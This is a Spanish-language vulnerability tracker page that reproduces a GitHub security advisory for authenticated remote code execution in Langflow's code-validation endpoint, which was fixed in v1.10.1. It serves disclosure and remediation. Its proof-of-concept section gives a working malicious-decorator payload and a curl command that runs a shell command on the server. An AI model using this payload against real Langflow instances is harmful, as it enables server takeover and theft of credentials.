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GHSA-W584-2H2R-2HVF

Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -104 d de la divulgación
Exposición45 dDesde la divulgación, 5 oct 2026, 5:31 p. m.
Detección42 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 1.10.1
Monitoreo
Detectada
23 jun 26
5 oct 26
15 oct 26
17 nov 26
19 nov 26
23 jun 26
31 jul 26
6 sept 26
13 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.10.1 langflow · -104 d desde divulgación
Divulgación Publicada GHSA-W584-2H2R-2HVF divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

###Summary:
A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The` /api/v1/validate/code` endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.

### Details
The vulnerability is located in `src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py`).

The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:

# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
    code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
    # ...
    # exec_globals creates a restricted-looking scope, but standard builtins are available
    exec(code_obj, exec_globals)

By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.

Affected Versions
  • `/api/v1/validate/code` had no authentication at all until commit `3fed9fe1b5` ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same `exec()` sink was reachable unauthenticated.
  • From v1.7.2 through v1.10.0, the endpoint required a valid session but the `exec()` sink was untouched, so any authenticated user (or any user at all under `AUTO_LOGIN`) could trigger RCE via a malicious decorator as described below.
  • Fixed in v1.10.1 — see Fix section.

### PoC
- Authenticate as any user (acquire a valid access token or API key).
- Send a POST request to /api/v1/validate/code with the following JSON payload:

{
  "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"
}

Curl Example

curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
     -H "Authorization: Bearer <YOUR_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n    pass"}'

Verify: Check the server file system. The file /tmp/pwned will be created.

### Impact
This vulnerability results in Remote Code Execution (RCE).

Impacted Parties: Any user with access to the Langflow instance (Authenticated Users).
Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.

### Fix
Fixed in v1.10.1 by PR #13696 https://github.com/langflow-ai/langflow/pull/13696 (commit `e7c33dbaad`, tracked as GHSA-2wcq-pvw2-xh7v): `validate_code()` in `src/lfx/src/lfx/custom/validate.py` no longer `exec()`s submitted `FunctionDef` nodes. It now only `compile()`s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.

This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional `exec()` in `validate_code()` — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
langflow≥ 1.7.2 < 1.10.1
1.7.2
1.10.1
1.13.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilangflow
Corregida 1.10.1 -104 d 1.13.2 no afectada
Versiones corregidas1.10.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-51886
Otrahttps://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
Otrahttps://github.com/langflow-ai/langflow/issues/13336
Otrahttps://github.com/langflow-ai/langflow/pull/13696
Otrahttps://github.com/langflow-ai/langflow/commit/e7c33dbaade20b5295c7fa26bf83cc1ff68fba02
Otrahttps://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a
Otrahttps://github.com/langflow-ai/langflow
Otrahttps://github.com/langflow-ai/langflow/releases/tag/v1.10.1

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